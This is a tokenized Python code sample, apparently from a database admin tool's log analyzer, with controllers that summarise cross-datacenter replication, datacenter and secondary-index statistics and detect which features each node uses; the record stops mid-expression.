"info", "Summary_", "(_", "stanza_", "=_", "'", "sets", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "set\\u", "stats_", "=_", "self_", "._", "logger_", "._", "info", "Statistics_", "(_", "stanza_", "=_", "'", "sets", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "timestamp_", "in_", "sorted_", "(_", "set\\u", "stats_", "._", "keys_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "set\\u", "stats_", "[_", "timestamp_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "set\\u", "infos_", "[_", "timestamp_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "self_", "._", "view_", "._", "info", "String_", "(_", "timestamp_", ",_", "set\\u", "infos_", "[_", "timestamp_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "convert", "\\u", "key", "\\u", "to", "\\u", "tuple_", "(_", "set\\u", "stats_", "[_", "timestamp_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "view_", "._", "info", "Set_", "(_", "flip", "\\u", "keys_", "(_", "set\\u", "stats_", "[_", "timestamp_", "]_", ")_", ",_", "self_", "._", "logger_", "._", "get", "\\u", "log", "\\u", "snapshot_", "(_", "timestamp_", "=_", "timestamp_", ")_", ",_", "title", "\\u", "suffix_", "=_", "\"", " ", "(%", "s", ")\"_", "%_", "(_", "timestamp_", ")_", ",_", "**_", "self_", "._", "mods_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Info", "Controller_", "(_", "Command", "Controller_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "Command", "Help_", "(_", "'", "Display", "s", " ", "summar", "y", " ", "informati", "on", " ", "for", " ", "Cross", " ", "Data", "center", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Replica", "tion", " ", "(", "XD", "R", ").'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "do", "\\u", "xdr", "_", "(_", "self_", ",_", "line_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "xdr", "\\u", "infos_", "=_", "self_", "._", "logger_", "._", "info", "Summary_", "(_", "stanza_", "=_", "'", "xdr", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xdr", "\\u", "stats_", "=_", "self_", "._", "logger_", "._", "info", "Statistics_", "(_", "stanza_", "=_", "'", "xdr", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "timestamp_", "in_", "sorted_", "(_", "xdr", "\\u", "stats_", "._", "keys_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "xdr", "\\u", "stats_", "[_", "timestamp_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "xdr", "\\u", "infos_", "[_", "timestamp_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "self_", "._", "view_", "._", "info", "String_", "(_", "timestamp_", ",_", "xdr", "\\u", "infos_", "[_", "timestamp_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "xdr", "\\u", "enable_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logs", "nap", "sho", "t", "\\u", "controller_", "=_", "self_", "._", "logger_", "._", "get", "\\u", "log", "\\u", "snapshot_", "(_", "timestamp_", "=_", "timestamp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "builds_", "=_", "logs", "nap", "sho", "t", "\\u", "controller_", "._", "get", "\\u", "xdr", "\\u", "build_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "xdr", "\\u", "node_", "in_", "xdr", "\\u", "stats_", "[_", "timestamp_", "]_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "xdr", "\\u", "enable_", "[_", "xdr", "\\u", "node_", "]_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "view_", "._", "info", "XD", "R_", "(_", "xdr", "\\u", "stats_", "[_", "timestamp_", "]_", ",_", "builds_", ",_", "xdr", "\\u", "enable_", ",_", "logs", "nap", "sho", "t", "\\u", "controller_", ",_", "title", "\\u", "suffix_", "=_", "\"", " ", "(%", "s", ")\"_", "%_", "(_", "timestamp_", ")_", ",_", "**_", "self_", "._", "mods_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Info", "Controller_", "(_", "Command", "Controller_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "Command", "Help_", "(_", "'", "Display", "s", " ", "summar", "y", " ", "informati", "on", " ", "for", " ", "each", " ", "datacenter", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "do", "\\u", "dc_", "(_", "self_", ",_", "line_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dc", "\\u", "infos_", "=_", "self_", "._", "logger_", "._", "info", "Summary_", "(_", "stanza_", "=_", "'", "dc", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dc", "\\u", "stats_", "=_", "self_", "._", "logger_", "._", "info", "Statistics_", "(_", "stanza_", "=_", "'", "dc", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dc", "\\u", "config_", "=_", "self_", "._", "logger_", "._", "info", "Get", "Config_", "(_", "stanza_", "=_", "'", "dc", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "timestamp_", "in_", "sorted_", "(_", "dc", "\\u", "stats_", "._", "keys_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "dc", "\\u", "stats_", "[_", "timestamp_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "dc", "\\u", "infos_", "[_", "timestamp_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "self_", "._", "view_", "._", "info", "String_", "(_", "timestamp_", ",_", "dc", "\\u", "infos_", "[_", "timestamp_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "node_", "in_", "dc", "\\u", "stats_", "[_", "timestamp_", "]_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "dc", "\\u", "stats_", "[_", "timestamp_", "]_", "[_", "node_", "]_", "and_", "not_", "isinstance_", "(_", "dc", "\\u", "stats_", "[_", "timestamp_", "]_", "[_", "node_", "]_", ",_", "Exception_", ")_", "and_", "dc", "\\u", "config_", "[_", "timestamp_", "]_", "[_", "node_", "]_", "and_", "not_", "isinstance_", "(_", "dc", "\\u", "config_", "[_", "timestamp_", "]_", "[_", "node_", "]_", ",_", "Exception_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "for_", "dc_", "in_", "dc", "\\u", "stats_", "[_", "timestamp_", "]_", "[_", "node_", "]_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "dc", "\\u", "stats_", "[_", "timestamp_", "]_", "[_", "node_", "]_", "[_", "dc_", "]_", "._", "update_", "(_", "dc", "\\u", "config_", "[_", "timestamp_", "]_", "[_", "node_", "]_", "[_", "dc_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "(_", "not_", "dc", "\\u", "stats_", "[_", "timestamp_", "]_", "[_", "node_", "]_", "or_", "isinstance_", "(_", "dc", "\\u", "stats_", "[_", "timestamp_", "]_", "[_", "node_", "]_", ",_", "Exception_", ")_", ")_", "and_", "dc", "\\u", "config_", "[_", "timestamp_", "]_", "[_", "node_", "]_", "and_", "not_", "isinstance_", "(_", "dc", "\\u", "config_", "[_", "timestamp_", "]_", "[_", "node_", "]_", ",_", "Exception_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "dc", "\\u", "stats_", "[_", "timestamp_", "]_", "[_", "node_", "]_", "=_", "dc", "\\u", "config_", "[_", "timestamp_", "]_", "[_", "node_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "view_", "._", "info", "DC_", "(_", "flip", "\\u", "keys_", "(_", "dc", "\\u", "stats_", "[_", "timestamp_", "]_", ")_", ",_", "self_", "._", "logger_", "._", "get", "\\u", "log", "\\u", "snapshot_", "(_", "timestamp_", "=_", "timestamp_", ")_", ",_", "title", "\\u", "suffix_", "=_", "\"", " ", "(%", "s", ")\"_", "%_", "(_", "timestamp_", ")_", ",_", "**_", "self_", "._", "mods_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Info", "Controller_", "(_", "Command", "Controller_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "Command", "Help_", "(_", "'", "Display", "s", " ", "summar", "y", " ", "informati", "on", " ", "for", " ", "Second", "ary", " ", "Indexe", "s", " ", "(", "SI", "nde", "x", ").'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "do", "\\u", "sind", "ex_", "(_", "self_", ",_", "line_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sind", "ex", "\\u", "infos_", "=_", "self_", "._", "logger_", "._", "info", "Summary_", "(_", "stanza_", "=_", "'", "sind", "ex", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sind", "ex", "\\u", "stats_", "=_", "self_", "._", "logger_", "._", "info", "Statistics_", "(_", "stanza_", "=_", "'", "sind", "ex", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "timestamp_", "in_", "sorted_", "(_", "sind", "ex", "\\u", "stats_", "._", "keys_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "sind", "ex", "\\u", "stats_", "[_", "timestamp_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "sind", "ex", "\\u", "infos_", "[_", "timestamp_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "self_", "._", "view_", "._", "info", "String_", "(_", "timestamp_", ",_", "sind", "ex", "\\u", "infos_", "[_", "timestamp_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "view_", "._", "info", "SI", "ndex_", "(_", "sind", "ex", "\\u", "stats_", "[_", "timestamp_", "]_", ",_", "self_", "._", "logger_", "._", "get", "\\u", "log", "\\u", "snapshot_", "(_", "timestamp_", "=_", "timestamp_", ")_", ",_", "title", "\\u", "suffix_", "=_", "\"", " ", "(%", "s", ")\"_", "%_", "(_", "timestamp_", ")_", ",_", "**_", "self_", "._", "mods_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Show", "Statistic", "s", "Controller_", "(_", "Command", "Controller_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "need", "\\u", "to", "\\u", "show", "\\u", "total_", "(_", "self_", ",_", "line_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "show", "\\u", "total_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "\"-", "t", "\"_", "in_", "line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "show", "\\u", "total_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "clear", "\\u", "option", "\\u", "from", "\\u", "mods_", "(_", "\"-", "t", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "show", "\\u", "total_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Feature", "s", "Controller_", "(_", "Command", "Controller_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "do", "\\u", "default_", "(_", "self_", ",_", "line_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "service", "\\u", "stats_", "=_", "self_", "._", "logger_", "._", "info", "Statistics_", "(_", "stanza_", "=_", "\"", "service", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ns", "\\u", "stats_", "=_", "self_", "._", "logger_", "._", "info", "Statistics_", "(_", "stanza_", "=_", "\"", "namespace", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "timestamp_", "in_", "sorted_", "(_", "service", "\\u", "stats_", "._", "keys_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "features_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "node_", ",_", "stats_", "in_", "service", "\\u", "stats_", "[_", "timestamp_", "]_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "features_", "[_", "node_", "]_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "features_", "[_", "node_", "]_", "[_", "\"", "KV", "S", "\"_", "]_", "=_", "\"", "NO", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "int_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "stats_", "[_", "\"", "stat", "\\u", "read", "\\u", "reqs", "\"_", "]_", ")_", ">_", "0_", "or_", "int_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "stats_", "[_", "\"", "stat", "\\u", "write", "\\u", "reqs", "\"_", "]_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "features_", "[_", "node_", "]_", "[_", "\"", "KV", "S", "\"_", "]_", "=_", "\"", "YE", "S", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "features_", "[_", "node_", "]_", "[_", "\"", "UD", "F", "\"_", "]_", "=_", "\"", "NO", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "int_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "stats_", "[_", "\"", "udf", "\\u", "read", "\\u", "reqs", "\"_", "]_", ")_", ">_", "0_", "or_", "int_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "stats_", "[_", "\"", "udf", "\\u", "write", "\\u", "reqs", "\"_", "]_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "features_", "[_", "node_", "]_", "[_", "\"", "UD", "F", "\"_", "]_", "=_", "\"", "YE", "S", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "features_", "[_", "node_", "]_", "[_", "\"", "BATCH", "\"_", "]_", "=_", "\"", "NO", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "int_", "(_", "stats_", "[_", "\"", "batch", "\\u", "initiate", "\"_", "]_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "features_", "[_", "node_", "]_", "[_", "\"", "BATCH", "\"_", "]_", "=_", "\"", "YE", "S", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "features_", "[_", "node_", "]_", "[_", "\"", "SCAN", "\"_", "]_", "=_", "\"", "NO", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "int_", "(_", "stats_", "[_", "\"", "tsc", "an", "\\u", "initiate", "\"_", "]_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "features_", "[_", "node_", "]_", "[_", "\"", "SCAN", "\"_", "]_", "=_", "\"", "YE", "S", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "features_", "[_", "node_", "]_", "[_", "\"", "SIN", "DE", "X", "\"_", "]_", "=_", "\"", "NO", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "int_", "(_", "stats_", "[_", "\"", "sind", "ex", "-", "used", "-", "bytes", "-", "memory", "\"_", "]_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "features_", "[_", "node_", "]_", "[_", "\"", "SIN", "DE", "X", "\"_", "]_", "=_", "\"", "YE", "S", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "features_", "[_", "node_", "]_", "[_", "\"", "QUE", "RY", "\"_", "]_", "=_", "\"", "NO", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "int_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "stats_", "[_", "\"", "query", "\\u", "reqs", "\"_", "]_", ")_", ">_", "0_", "or_", "int_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "stats_", "[_", "\"", "query", "\\u", "success", "\"_", "]_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "features_", "[_", "node_", "]_", "[_", "\"", "QUE", "RY", "\"_", "]_", "=_", "\"", "YE", "S", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "features_", "[_", "node_", "]_", "[_", "\"", "AGG", "REG", "ATION", "\"_", "]_", "=_", "\"", "NO", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "int_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "stats_", "[_", "\"", "query", "\\u", "agg", "\"_", "]_", ")_", ">_", "0_", "or_", "int_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "stats_", "[_", "\"", "query", "\\u", "agg", "\\u", "success", "\"_", "]_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "features_", "[_", "node_", "]_", "[_", "\"", "AGG", "REG", "ATION", "\"_", "]_", "=_", "\"", "YE", "S", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "(_", "timestamp_", "in_", "ns", "\\u", "stats_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "namespace", "\\u", "stats_", "=_", "ns", "\\u", "stats_", "[_", "timestamp_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "ns_", "in_", "namespace", "\\u", "stats_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "features_", "[_", "node_", "]_", "[_", "\"", "LD", "T", "(%", "s", ")\"_", "%_", "(_", "ns_", ")_", "]_", "=_", "\"", "NO", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "int_", "(_", "namespace", "\\u", "stats_", "[_", "ns_", "]_", "[_", "node_", "]_", "._", "get_", "(_", "\"", "ld", "t", "-", "writes", "\"_", ",_", "\"", "0", "\"_", ")_", ")_", ">_", "0_", "or_", "int_", "(_", "namespace", "\\u", "stats_", "[_", "ns_", "]_", "[_", "node_", "]_", "._", "get_", "(_", "\"", "ld", "t", "\\u", "writes", "\"_", ",_", "\"", "0", "\"_", ")_", ")_", ">_", "0_", "or_", "int_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "namespace", "\\u", "stats_", "[_", "ns_", "]_", "[_", "node_", "]_", "._", "get_", "(_", "\"", "ld", "t", "-", "reads", "\"_", ",_", "\"", "0", "\"_", ")_", ")_", ">_", "0_", "or_", "int_", "(_", "namespace", "\\u", "stats_", "[_", "ns_", "]_", "[_", "node_", "]_", "._", "get_", "(_", "\"", "ld", "t", "\\u", "reads", "\"_", ",_", "\"", "0", "\"_", ")_", ")_", ">_", "0_", "or_", "int_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "namespace", "\\u", "stats_", "[_", "ns_", "]_", "[_", "node_", "]_", "._", "get_", "(_", "\"", "ld", "t", "-", "delete", "s", "\"_", ",_", "\"", "0", "\"_", ")_", ")_", ">_", "0_", "or_", "int_", "(_", "namespace", "\\u", "stats_", "[_", "ns_", "]_", "[_", "node_", "]_", "._", "get_", "(_", "\"", "ld", "t", "\\u", "delete", "s", "\"_", ",_", "\"", "0", "\"_", ")_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " ", " _", "features_", "[_", "node_", "]_", "[_", "\"", "LD", "T", "(%", "s", ")\"_", "%_", "(_", "ns_", ")_", "]_", "=_", "\"", "YE", "S", "\"_", 